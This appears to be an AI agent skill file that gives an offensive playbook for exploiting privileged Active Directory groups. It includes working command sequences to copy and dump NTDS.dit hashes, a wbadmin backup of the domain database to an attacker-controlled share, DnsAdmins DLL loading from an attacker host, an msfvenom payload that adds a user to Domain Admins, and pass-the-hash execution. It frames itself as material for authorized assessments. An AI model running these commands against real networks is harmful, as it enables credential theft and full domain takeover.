Ad Privileged Groups

Active Directory Privileged Groups

A comprehensive guide for enumerating and exploiting privileged Active Directory groups during security assessments.

When to Use This Skill

Use this skill when:

• Enumerating Active Directory privileged groups
• Assessing privilege escalation paths via group membership
• Testing AD security configurations
• Red teaming Active Directory environments
• Investigating compromised accounts with group-based privileges

Core Privileged Groups

High-Privilege Administrative Groups

Account Operators

Can create accounts and groups (non-admin), local DC login.

Enumeration:

Get-NetGroupMember -Identity "Account Operators" -Recurse

AdminSDHolder

Controls ACLs for all protected groups. Compromise grants persistent domain admin access.

Enumeration:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse

ACL Inspection:

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | Where-Object {$_.IdentityReference -match 'target-user'}

Attack Vector: Modify AdminSDHolder ACL to grant full permissions to a standard user. Changes propagate within 1 hour.

Backup Operators

Has SeBackupPrivilege and SeRestorePrivilege - can read any file including NTDS.dit.

Enumeration:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

Key Capabilities:

• Read any file on the system
• Access NTDS.dit for hash extraction
• Bypass file permissions via FILE_FLAG_BACKUP_SEMANTICS

DnsAdmins

Can load arbitrary DLLs with SYSTEM privileges on DNS servers (often DCs).

Enumeration:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Attack Vectors:

1. CVE-2021-40469: Load malicious DLL via dnscmd
2. WPAD MitM: Create WPAD records for credential capture
3. Mimilib.dll: Execute commands via DNS service

Print Operators

Has SeLoadDriverPrivilege - can load kernel drivers for SYSTEM access.

Enumeration:

Get-NetGroupMember -Identity "Print Operators" -Recurse

Server Operators

Can backup/restore, change system time, shutdown DCs.

Enumeration:

Get-NetGroupMember -Identity "Server Operators" -Recurse

Other Notable Groups

Enumeration Workflow

Step 1: Identify Current User's Groups

# Using PowerView
Get-NetGroupMember -Identity "<group-name>" -Recurse

# Using native cmdlets
Get-ADPrincipalGroupMembership <username> | Select-Object Name

Step 2: Check for Privileged Group Membership

Run the enumeration script for each target group:

# See scripts/enumerate-groups.ps1 for automated enumeration

Step 3: Assess Exploitation Paths

Based on group membership, determine available attack vectors:

NTDS.dit Extraction (Backup Operators)

Method 1: diskshadow.exe

# Create shadow copy
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit

# Copy NTDS.dit
robocopy /B F:\Windows\NTDS .\ntds ntds.dit

# Extract registry hives
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV

# Extract hashes
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Method 2: wbadmin.exe

# Backup to remote share
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds

# List versions
wbadmin get versions

# Recover NTDS.dit
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

DnsAdmins Exploitation

DLL Loading (CVE-2021-40469)

# Install DNS tools if needed
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools

# Load local DLL
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\malicious.dll

# Load remote DLL
dnscmd [dc.computername] /config /serverlevelplugindll \\\<attacker>\share\malicious.dll

# Restart DNS service
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Generate Payload DLL

# Using msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Post-Exploitation

Pass-the-Hash

# WinRM
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"

# SMB
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd

Scripts

Use the bundled scripts for common tasks:

• scripts/enumerate-groups.ps1 - Enumerate all privileged groups
• scripts/ntds-extract.ps1 - NTDS.dit extraction helper
• scripts/dnsadmin-exploit.ps1 - DnsAdmins exploitation

References

• ired.team - Privileged Accounts
• ired.team - AdminSDHolder
• Tarlogic - SeLoadDriverPrivilege
• Microsoft - Privileged Groups

Safety Notes

• Only use these techniques in authorized security assessments
• Document all findings and remediation recommendations
• Some techniques may trigger security alerts
• Always have proper authorization before testing